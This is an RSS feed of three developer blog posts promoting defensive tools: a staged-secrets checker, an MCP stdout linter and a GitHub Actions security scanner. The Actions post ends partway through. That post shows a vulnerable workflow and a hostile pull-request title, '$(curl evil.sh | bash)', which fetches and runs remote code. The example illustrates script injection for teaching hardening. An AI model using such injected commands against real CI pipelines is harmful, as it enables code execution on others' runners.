<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: TANK JAY</title>
    <description>The latest articles on DEV Community by TANK JAY (@jaytank).</description>
    <link>https://dev.to/jaytank</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4052286%2F56811edd-09f3-4c20-b966-2b3d5e9b71ef.jpg</url>
      <title>DEV Community: TANK JAY</title>
      <link>https://dev.to/jaytank</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jaytank"/>
    <language>en</language>
    <item>
      <title>Stop committing .env files, node_modules and it.only: check your staged changes before you press Commit</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Tue, 29 Sep 2026 03:31:14 +0000</pubDate>
      <link>https://dev.to/jaytank/stop-committing-env-files-nodemodules-and-itonly-check-your-staged-changes-before-you-press-5bf5</link>
      <guid>https://dev.to/jaytank/stop-committing-env-files-nodemodules-and-itonly-check-your-staged-changes-before-you-press-5bf5</guid>
      <description>&lt;p&gt;You stage everything with one click, type "fix login redirect", commit, push. The next morning the pull request has 4,812 changed files. Or six, and one of them is &lt;code&gt;.env&lt;/code&gt;. Or CI is green because you left &lt;code&gt;it.only(&lt;/code&gt; in a spec and the other 400 tests never ran.&lt;/p&gt;

&lt;p&gt;None of this is hard. It is just that &lt;strong&gt;nothing looked at the git index before the commit happened.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The usual suspects
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Staged by accident&lt;/th&gt;
&lt;th&gt;Why it hurts&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.env&lt;/code&gt;, &lt;code&gt;*.pem&lt;/code&gt;, &lt;code&gt;id_rsa&lt;/code&gt;, &lt;code&gt;credentials.json&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;A pushed secret is a leaked secret: rotate it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokens in &lt;code&gt;.npmrc&lt;/code&gt; / &lt;code&gt;.pypirc&lt;/code&gt;, &lt;code&gt;*.tfstate&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Publish tokens and plain-text infra secrets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;dump.sql&lt;/code&gt;, big binaries&lt;/td&gt;
&lt;td&gt;Every clone carries them forever&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;node_modules/&lt;/code&gt;, &lt;code&gt;dist/&lt;/code&gt;, &lt;code&gt;.DS_Store&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Thousands of files of review noise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&lt;/code&gt; markers, &lt;code&gt;debugger;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Broken or frozen code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;it.only(&lt;/code&gt;, &lt;code&gt;fdescribe(&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;The file reports PASS, the rest never runs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is not only a side-project problem: Toyota disclosed in 2022 that a data-server access key had sat in a public GitHub repo for almost five years (&lt;a href="https://www.bleepingcomputer.com/news/security/toyota-discloses-data-leak-after-access-key-exposed-on-github/" rel="noopener noreferrer"&gt;BleepingComputer&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Why hooks are not enough on their own
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;.gitignore&lt;/code&gt; only helps if the pattern exists before you stage, and it cannot see content. Pre-commit hooks are the right gate for teams, but they live in each clone and need setup in every repository. Most repositories you touch in a week do not have one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Already committed it?
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git restore &lt;span class="nt"&gt;--staged&lt;/span&gt; .env          &lt;span class="c"&gt;# still only staged&lt;/span&gt;
git &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;--cached&lt;/span&gt; .env &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;".env"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; .gitignore
git commit &lt;span class="nt"&gt;--amend&lt;/span&gt; &lt;span class="nt"&gt;--no-edit&lt;/span&gt;       &lt;span class="c"&gt;# committed, not pushed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If it was pushed: &lt;strong&gt;rotate the secret first&lt;/strong&gt;, then clean history with &lt;code&gt;git filter-repo&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it while it is staged
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.commitsieve" rel="noopener noreferrer"&gt;CommitSieve&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that checks the staged changes of every repository in your workspace, live, with zero setup. The status bar shows &lt;code&gt;CommitSieve: 3 issues&lt;/code&gt; the moment you stage something, each finding has Unstage and Add to .gitignore buttons, and content findings land in the Problems panel.&lt;/p&gt;

&lt;p&gt;It only looks at lines your staged diff adds, leaves directories that already exist in &lt;code&gt;HEAD&lt;/code&gt; alone, and knows that &lt;code&gt;model.fit(&lt;/code&gt; is not a focused test. No network, no telemetry, hardened git calls. It warns rather than blocks (VS Code has no commit hook API), so keep a hook or CI scanner as the hard gate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;code --install-extension jaytankdev.commitsieve
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/commitsieve" rel="noopener noreferrer"&gt;github.com/jay-tank/commitsieve&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (all 13 rules, cleanup for every case, limitations, FAQ): &lt;a href="https://jaytank.hashnode.dev/commitsieve-stop-committing-env-files-vscode" rel="noopener noreferrer"&gt;Stop committing .env files, node_modules and it.only&lt;/a&gt;&lt;/p&gt;

</description>
      <category>git</category>
      <category>vscode</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>One console.log disconnects your MCP server: the stdout bug every stdio server author hits</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Mon, 28 Sep 2026 03:46:40 +0000</pubDate>
      <link>https://dev.to/jaytank/one-consolelog-disconnects-your-mcp-server-the-stdout-bug-every-stdio-server-author-hits-4l78</link>
      <guid>https://dev.to/jaytank/one-consolelog-disconnects-your-mcp-server-the-stdout-bug-every-stdio-server-author-hits-4l78</guid>
      <description>&lt;p&gt;You add a tool to your MCP server, restart the client, and instead of an answer you get:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MCP error -32000: Connection closed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nine times out of ten, the cause is one debug line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;registerTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;add&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;adding numbers&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// &amp;lt;- this disconnects the client&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why it breaks
&lt;/h2&gt;

&lt;p&gt;With the &lt;strong&gt;stdio&lt;/strong&gt; transport, the client talks to your server through its stdin and stdout. Every byte on stdout is parsed as the next JSON-RPC message. The &lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/stdio" rel="noopener noreferrer"&gt;MCP spec&lt;/a&gt; says it plainly: the server &lt;strong&gt;must not&lt;/strong&gt; write anything to stdout that is not a valid MCP message. Your log line lands in the middle of the stream, parsing fails, and the client drops the connection.&lt;/p&gt;

&lt;p&gt;Logging to &lt;strong&gt;stderr&lt;/strong&gt; is allowed and safe.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Instead of&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;console.log(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;console.error(x)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;process.stdout.write(s)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;process.stderr.write(s)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;print(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;print(x, file=sys.stderr)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;pino()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pino({}, pino.destination(2))&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;logging.basicConfig(stream=sys.stdout)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;leave &lt;code&gt;stream&lt;/code&gt; out (stderr is the default)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Why it keeps shipping
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Running the server by hand in a terminal looks fine, so a quick test passes.&lt;/li&gt;
&lt;li&gt;The write is often in a &lt;strong&gt;helper module&lt;/strong&gt; the server imports, not in the server file.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;console.info&lt;/code&gt; and &lt;code&gt;console.debug&lt;/code&gt; also go to stdout, and so do pino and winston's Console transport by default.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Real examples: &lt;a href="https://github.com/espressif/esp-idf/issues/19087" rel="noopener noreferrer"&gt;esp-idf#19087&lt;/a&gt;, &lt;a href="https://github.com/yamadashy/repomix/issues/1866" rel="noopener noreferrer"&gt;repomix#1866&lt;/a&gt;, &lt;a href="https://github.com/HaithamOumerzoug/keycloak-mcp/issues/6" rel="noopener noreferrer"&gt;keycloak-mcp#6&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catch it in the editor
&lt;/h2&gt;

&lt;p&gt;I built &lt;strong&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=jaytankdev.stdiolint" rel="noopener noreferrer"&gt;StdioLint&lt;/a&gt;&lt;/strong&gt;, a free VS Code extension that flags stdout writes in stdio MCP servers (JS, TS and Python) as you type. It follows the modules your server imports, ignores HTTP/SSE servers and ordinary scripts, and its Quick Fix moves the output to stderr instead of deleting it. No network, no telemetry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;code &lt;span class="nt"&gt;--install-extension&lt;/span&gt; jaytankdev.stdiolint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Source (MIT): &lt;a href="https://github.com/jay-tank/stdiolint" rel="noopener noreferrer"&gt;github.com/jay-tank/stdiolint&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full write-up&lt;/strong&gt; (all four rules, Python/FastMCP examples, what ESLint &lt;code&gt;no-console&lt;/code&gt; misses, FAQ): &lt;a href="https://jaytank.hashnode.dev/stdiolint-mcp-server-stdout-console-log" rel="noopener noreferrer"&gt;One console.log disconnects your MCP server&lt;/a&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>vscode</category>
      <category>ai</category>
      <category>typescript</category>
    </item>
    <item>
      <title>I wanted a zero-config Actions security scanner, so I built one: actionward</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Tue, 08 Sep 2026 05:02:01 +0000</pubDate>
      <link>https://dev.to/jaytank/i-wanted-a-zero-config-actions-security-scanner-so-i-built-one-actionward-d3j</link>
      <guid>https://dev.to/jaytank/i-wanted-a-zero-config-actions-security-scanner-so-i-built-one-actionward-d3j</guid>
      <description>&lt;p&gt;Most of my GitHub Actions workflows are three steps long. They still manage to&lt;br&gt;
be one of the softest spots in a repo: a stray &lt;code&gt;${{ github.event.* }}&lt;/code&gt; in a&lt;br&gt;
&lt;code&gt;run:&lt;/code&gt; block, a token with &lt;code&gt;write-all&lt;/code&gt;, an action pinned to a mutable tag. The&lt;br&gt;
tools that catch this stuff tend to be heavy - org-scoped policy engines, a&lt;br&gt;
SaaS dashboard, something that wants a token and a network round-trip before it&lt;br&gt;
tells me anything.&lt;/p&gt;

&lt;p&gt;I just wanted a binary I could drop into any repo and run offline. No account,&lt;br&gt;
no config, no credentials leaving my laptop. That itch became &lt;strong&gt;actionward&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is the fast, hands-on tour: install it, run it, read a real finding, fix&lt;br&gt;
two concrete vulnerabilities, then wire it into CI.&lt;/p&gt;
&lt;h2&gt;
  
  
  What it is (in one breath)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;actionward&lt;/code&gt; is a single Go binary that statically analyzes the workflow files&lt;br&gt;
under &lt;code&gt;.github/workflows/&lt;/code&gt;. It makes &lt;strong&gt;no network calls and reads no&lt;br&gt;
credentials&lt;/strong&gt;. It ships &lt;strong&gt;14 rules&lt;/strong&gt; and, for each finding, tells you &lt;em&gt;why&lt;/em&gt; it&lt;br&gt;
matters and &lt;em&gt;how&lt;/em&gt; to fix it. Output is text, JSON, or &lt;strong&gt;SARIF v2.1.0&lt;/strong&gt; for&lt;br&gt;
GitHub code-scanning.&lt;/p&gt;
&lt;h2&gt;
  
  
  Install and run
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/jay-tank/actionward
&lt;span class="nb"&gt;cd &lt;/span&gt;actionward
go build &lt;span class="nt"&gt;-o&lt;/span&gt; actionward ./cmd/actionward

&lt;span class="c"&gt;# scan the current repo&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That's the whole setup. Point it at a directory (or a single workflow file) and&lt;br&gt;
it prints findings. Here's the shape of a real one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rationale plus remediation, right in the output. Now let's actually fix things.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix #1 - script injection
&lt;/h2&gt;

&lt;p&gt;The classic. You interpolate an attacker-controllable field straight into a&lt;br&gt;
shell command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: HIGH script-injection&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Thanks for the PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A PR title of &lt;code&gt;$(curl evil.sh | bash)&lt;/code&gt; runs on your runner. The fix is to move&lt;br&gt;
the value into the environment, where the shell treats it as data, not code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - clean&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;TITLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Thanks for the PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;actionward also flags the sneakier variant of this rule: writing untrusted&lt;br&gt;
input into &lt;code&gt;$GITHUB_ENV&lt;/code&gt;, which can smuggle values into later steps.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix #2 - least privilege for the token
&lt;/h2&gt;

&lt;p&gt;By default a lot of workflows inherit a broad &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;. This one asks for&lt;br&gt;
everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: HIGH write-all-permissions&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write-all&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any step is compromised, so is your whole repo. Scope it down to exactly what&lt;br&gt;
the job needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - least privilege&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The permissions rules also cover unscoped tokens and risky OIDC configurations -&lt;br&gt;
same principle, grant the minimum.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix #3 - pin your actions
&lt;/h2&gt;

&lt;p&gt;Referencing an action by a moving tag means whatever &lt;code&gt;@v4&lt;/code&gt; points to today can&lt;br&gt;
change under you tomorrow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: MEDIUM unpinned-action&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin to an immutable commit SHA (a full-length pin is the safe form):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - pinned&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Other rules in the set worth knowing about: risky checkouts under&lt;br&gt;
&lt;code&gt;pull_request_target&lt;/code&gt; / &lt;code&gt;workflow_run&lt;/code&gt;, cache poisoning, &lt;code&gt;curl | bash&lt;/code&gt;, secrets&lt;br&gt;
hardcoded in &lt;code&gt;run:&lt;/code&gt;, secrets leaking through uploaded artifacts, self-hosted&lt;br&gt;
runners on public repos, and &lt;code&gt;continue-on-error&lt;/code&gt; slapped on a security step so&lt;br&gt;
it never actually blocks anything.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wire it into CI
&lt;/h2&gt;

&lt;p&gt;The real payoff is failing a PR before the risky workflow merges. actionward&lt;br&gt;
ships a composite Action that emits SARIF, so findings show up in the repo's&lt;br&gt;
&lt;strong&gt;Security → Code scanning&lt;/strong&gt; tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;security-events&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;   &lt;span class="c1"&gt;# needed to upload SARIF&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;scan&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jay-tank/actionward@v0.1.0&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;sarif&lt;/span&gt;
          &lt;span class="na"&gt;output&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward.sarif&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github/codeql-action/upload-sarif@v3&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;sarif_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward.sarif&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prefer to keep it lean? Build the binary in the job and run &lt;code&gt;actionward scan .&lt;/code&gt;&lt;br&gt;
directly - same result, one fewer moving part.&lt;/p&gt;
&lt;h2&gt;
  
  
  Adopting it in an existing repo
&lt;/h2&gt;

&lt;p&gt;Turning a scanner on for a repo that already has a dozen findings is how&lt;br&gt;
scanners get ignored. actionward has a &lt;code&gt;--baseline&lt;/code&gt; mode for exactly this: it&lt;br&gt;
records today's findings and then only gates on &lt;strong&gt;new&lt;/strong&gt; ones, so your build goes&lt;br&gt;
green immediately and you burn down the backlog on your own schedule.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# record current findings once, commit the baseline&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--baseline&lt;/span&gt; .actionward-baseline.json

&lt;span class="c"&gt;# later runs fail only on findings not in the baseline&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--baseline&lt;/span&gt; .actionward-baseline.json
